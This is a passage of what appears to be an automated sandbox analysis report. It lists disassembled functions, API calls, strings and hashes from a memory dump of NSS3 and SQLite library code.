Part of subcall function 6C767870: SECOID_FindOID_Util.NSS3(?,?,?,6C7691C5), ref: 6C76788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C767D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C767D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C767DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C767DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C767DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C767E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C767E58

Part of subcall function 6C767870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7691C5), ref: 6C7678BB
Part of subcall function 6C767870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C7691C5), ref: 6C7678FA
Part of subcall function 6C767870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C767930
Part of subcall function 6C767870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C767951
Part of subcall function 6C767870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C767964
Part of subcall function 6C767870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C76797A
Part of subcall function 6C767870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C767988
Part of subcall function 6C767870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C767998
Part of subcall function 6C767870: free.MOZGLUE(00000000), ref: 6C7679A7
Part of subcall function 6C767870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C7679BB
Part of subcall function 6C767870: PR_GetCurrentThread.NSS3(?,?,?,?,6C7691C5), ref: 6C7679CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C767E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C767F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C767F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C767FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C767FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C768038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C768050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C768093
SECOID_FindOID_Util.NSS3 ref: 6C767F29

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C768072
SECOID_FindOID_Util.NSS3 ref: 6C7680F5

Part of subcall function 6C76BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C76800A,00000000,?,00000000,?), ref: 6C76BC3F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 91c65418dad43efe543e8f34f10c2a82a25f04a078d2776b5488d2dca6c59d19
Instruction ID: 016a8a657461f14cc085cd2d06c5452dfeb419c295a26b7bed5279a457cf1205
Opcode Fuzzy Hash: 91c65418dad43efe543e8f34f10c2a82a25f04a078d2776b5488d2dca6c59d19
Instruction Fuzzy Hash: F2E18D706083009FE700CF2ACA84B5A77E5AF45358F144A2DEC9A9BF51E732EC49CB52

Function 6C6F1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C6F1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C6F1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C6F1CA1
GetLengthSid.ADVAPI32(?), ref: 6C6F1CA9
malloc.MOZGLUE(00000000), ref: 6C6F1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C6F1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C6F1CE4
GetLengthSid.ADVAPI32(?), ref: 6C6F1CEC
malloc.MOZGLUE(00000000), ref: 6C6F1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C6F1D0F
CloseHandle.KERNEL32(?), ref: 6C6F1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C6F1D4D
GetLastError.KERNEL32 ref: 6C6F1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C6F1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C6F1D7A

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 7cd3588a83c7830a7f3c944067765eac9367515ce4d62f4514023b7a606ad78f
Instruction ID: c9c67f6a7dbdba82e083952cb8650f053560376e6e178666f45bc1ba0681d708
Opcode Fuzzy Hash: 7cd3588a83c7830a7f3c944067765eac9367515ce4d62f4514023b7a606ad78f
Instruction Fuzzy Hash: AA3192F5A00218AFEB61AF64CC48BAA7BB8FF4E348F404075F60892211E7745994CFA5

Function 6C6F3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6F3DFB
__allrem.LIBCMT ref: 6C6F3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C6F4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F415F
__allrem.LIBCMT ref: 6C6F416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F42AB
__allrem.LIBCMT ref: 6C6F42B7

Strings

%lld, xrefs: 6C6F3FB2
%04d, xrefs: 6C6F407B
%02d, xrefs: 6C6F4086
%03d, xrefs: 6C6F42E8

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: de7f5d1759d35748198da2c5770341f609e3d3a9c776c718a807dccf9fb0f714
Instruction ID: 120dbc4a7686a76f40bc7eff57aa740424709a595186c60050be86d3a0dcb47b
Opcode Fuzzy Hash: de7f5d1759d35748198da2c5770341f609e3d3a9c776c718a807dccf9fb0f714
Instruction Fuzzy Hash: BAF14471A087409FE315CF38C941AABB7F6AF86308F148A2DF4A597B51E770D486CB46

Function 6C6FEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FEF63

Part of subcall function 6C7087D0: PORT_NewArena_Util.NSS3(00000800,6C6FEF74,00000000), ref: 6C7087E8
Part of subcall function 6C7087D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C6FEF74,00000000), ref: 6C7087FD
Part of subcall function 6C7087D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C70884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C6FF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C6FF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C6FF374
PL_strcasecmp.NSS3(6C842FD4,?), ref: 6C6FF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C6FF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6FF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C6FF67D
CERT_DestroyName.NSS3(?), ref: 6C6FF68B

Part of subcall function 6C708320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C708338
Part of subcall function 6C708320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C708364
Part of subcall function 6C708320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C70838E
Part of subcall function 6C708320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7083A5
Part of subcall function 6C708320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7083E3

Part of subcall function 6C7084C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C7084D9
Part of subcall function 6C7084C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C708528

Part of subcall function 6C708900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C708955

Strings

*, xrefs: 6C6FF3C6
oid., xrefs: 6C6FF2CF
", xrefs: 6C6FF21B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 121d336f865bcbf89ab589d1b6cf9e78f1111f325846587463e96647fffeaa03
Instruction ID: cbac7df39ebfeee0abe1dd42bbff1e7c52040bee7b97a18fa860b776f388eb4c
Opcode Fuzzy Hash: 121d336f865bcbf89ab589d1b6cf9e78f1111f325846587463e96647fffeaa03
Instruction Fuzzy Hash: 1A22297260C3414BE714CE58C4903AEB7E7AB9531CF184A2EE4E587B91EB719807C78B

Function 6C6A1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6A1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C6A1FB7

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C6A1F83
attached databases must use the same text encoding as main database, xrefs: 6C6A20CA
no more rows available, xrefs: 6C6A2264
abort due to ROLLBACK, xrefs: 6C6A2223
table, xrefs: 6C6A1C8B
unsupported file format, xrefs: 6C6A2188
unknown error, xrefs: 6C6A2291
another row available, xrefs: 6C6A2287
sqlite_master, xrefs: 6C6A1C61
sqlite_temp_master, xrefs: 6C6A1C5C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: ab6f27c866c0714d8d24482bd15f8ab7e934ff8aba43479376d81436babba63d
Instruction ID: abce63c5b66c283eb9c1b49cb8c5e76a483dce90691475c42842902bd3b7df73
Opcode Fuzzy Hash: ab6f27c866c0714d8d24482bd15f8ab7e934ff8aba43479376d81436babba63d
Instruction Fuzzy Hash: 1E12DF70608341CFD710CF5AC484A5AB7F2BF85318F18896DE9998BB52D731EC4ACB96

Function 6C6C5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6C6C6228
BINARY, xrefs: 6C6C8708, 6C6C8737, 6C6C87B8
u, xrefs: 6C6C81DA
ON clause references tables to its right, xrefs: 6C6C6BEC
-, xrefs: 6C6C62F9
NOCASE, xrefs: 6C6C8703
sub-select returns %d columns - expected %d, xrefs: 6C6C805F
2, xrefs: 6C6C65B4

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 607cfa0ee0edb23f04f4707e08ac41d7cd941fb622c99077f45e176e8a117b8b
Instruction ID: 1355ca95f9088f391247275f0e4395968ca3ac67f77bd374143b88ce486d6bbd
Opcode Fuzzy Hash: 607cfa0ee0edb23f04f4707e08ac41d7cd941fb622c99077f45e176e8a117b8b
Instruction Fuzzy Hash: 534360747083418FD314CF19C490A6AB7E2FF89318F148A6DE8998B752D735E846CB9B

Function 6C76EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C76C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C76DAE2,?), ref: 6C76C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C76F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C76F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C76F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C76F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C83218C), ref: 6C76F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C76F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C76F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C76F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C76F210

Part of subcall function 6C7152D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C76F1E9,?,00000000,?,?), ref: 6C7152F5
Part of subcall function 6C7152D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C71530F
Part of subcall function 6C7152D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C715326
Part of subcall function 6C7152D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C76F1E9,?,00000000,?,?), ref: 6C715340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C76F227

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C76F23E

Part of subcall function 6C75BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C70E708,00000000,00000000,00000004,00000000), ref: 6C75BE6A
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?), ref: 6C75BE7E
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C76F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C76F3A8

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C76F3B3

Part of subcall function 6C712D20: PK11_DestroyObject.NSS3(?,?), ref: 6C712D3C
Part of subcall function 6C712D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C712D5F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: f93af183c3cb8f545e690bbc294fd52aa113203ae0f023fb2aed19ff7ff68848
Instruction ID: f1921d62e5856ca82c9085cd785cfafc4ae1670a160467e76570c4ae976c5a11
Opcode Fuzzy Hash: f93af183c3cb8f545e690bbc294fd52aa113203ae0f023fb2aed19ff7ff68848
Instruction Fuzzy Hash: E0D16DB6E012059FDB14CFAADA84B9EB7B5EF48308F198039DD15A7B11EB31E805CB50

Function 6C79DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C777FFA,00000000,?,6C7A23B9,00000002,00000000,?,6C777FFA,00000002), ref: 6C79DE33

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C79D000: PORT_ZAlloc_Util.NSS3(00000108,?,6C79DE74,6C777FFA,00000002,?,?,?,?,?,00000000,6C777FFA,00000000,?,6C7A23B9,00000002), ref: 6C79D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C777FFA,00000000,?,6C7A23B9,00000002,00000000,?,6C777FFA,00000002), ref: 6C79DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C79DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79E121
PK11_FreeSymKey.NSS3(?), ref: 6C79E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C79E195
PR_GetCurrentThread.NSS3 ref: 6C79E1FC

Part of subcall function 6C792460: PR_SetError.NSS3(FFFFE005,00000000,6C837379,00000002,?), ref: 6C792493

Strings

application data, xrefs: 6C79DFE0
early application data, xrefs: 6C79DFC9
key, xrefs: 6C79E046
handshake data, xrefs: 6C79DFF7

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 9c39a610cf1c14f0479755702fd2184680bdbb4a7970d4427a96fe486e366ac2
Instruction ID: f0f2e9e691e7cedb9a1a2c8474492eadb93c381a316ced67f55a42edb70a5cdc
Opcode Fuzzy Hash: 9c39a610cf1c14f0479755702fd2184680bdbb4a7970d4427a96fe486e366ac2
Instruction Fuzzy Hash: 14C11571A002099BDB14CF69EE84BEAB7B5FF08308F144138E9099BB51E331E954CBE1

Function 6C68ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C68EF98

Strings

database corruption, xrefs: 6C68F48D
%s at line %d of [%.10s], xrefs: 6C68F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68F483

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: c458c1413bb841aa6514dc7626eaaa8278d44447ba5efa9d346495241bd137be
Instruction ID: ce0580ade687e74ceda4241f375aa74b487c0d2b82855539988fb6294c9c2b97
Opcode Fuzzy Hash: c458c1413bb841aa6514dc7626eaaa8278d44447ba5efa9d346495241bd137be
Instruction Fuzzy Hash: B5623434A06205CFEB14CF64C48479ABBF1BF49318F18419DD9416BB92D735E886CBEA

Function 6C72FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C72FD06

Part of subcall function 6C72F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C72F696
Part of subcall function 6C72F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C72F789
Part of subcall function 6C72F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C72F796
Part of subcall function 6C72F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C72F79F
Part of subcall function 6C72F670: SECITEM_DupItem_Util.NSS3 ref: 6C72F7F0

Part of subcall function 6C753440: PK11_GetAllTokens.NSS3 ref: 6C753481
Part of subcall function 6C753440: PR_SetError.NSS3(00000000,00000000), ref: 6C7534A3
Part of subcall function 6C753440: TlsGetValue.KERNEL32 ref: 6C75352E
Part of subcall function 6C753440: EnterCriticalSection.KERNEL32(?), ref: 6C753542
Part of subcall function 6C753440: PR_Unlock.NSS3(?), ref: 6C75355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C72FDAD

Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C709003,?), ref: 6C75FD91
Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(A4686C76,?), ref: 6C75FDA2
Part of subcall function 6C75FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C76,?,?), ref: 6C75FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C72FE00

Part of subcall function 6C75FD80: free.MOZGLUE(00000000,?,?), ref: 6C75FDD1

Part of subcall function 6C74E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C74E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C72FEC8
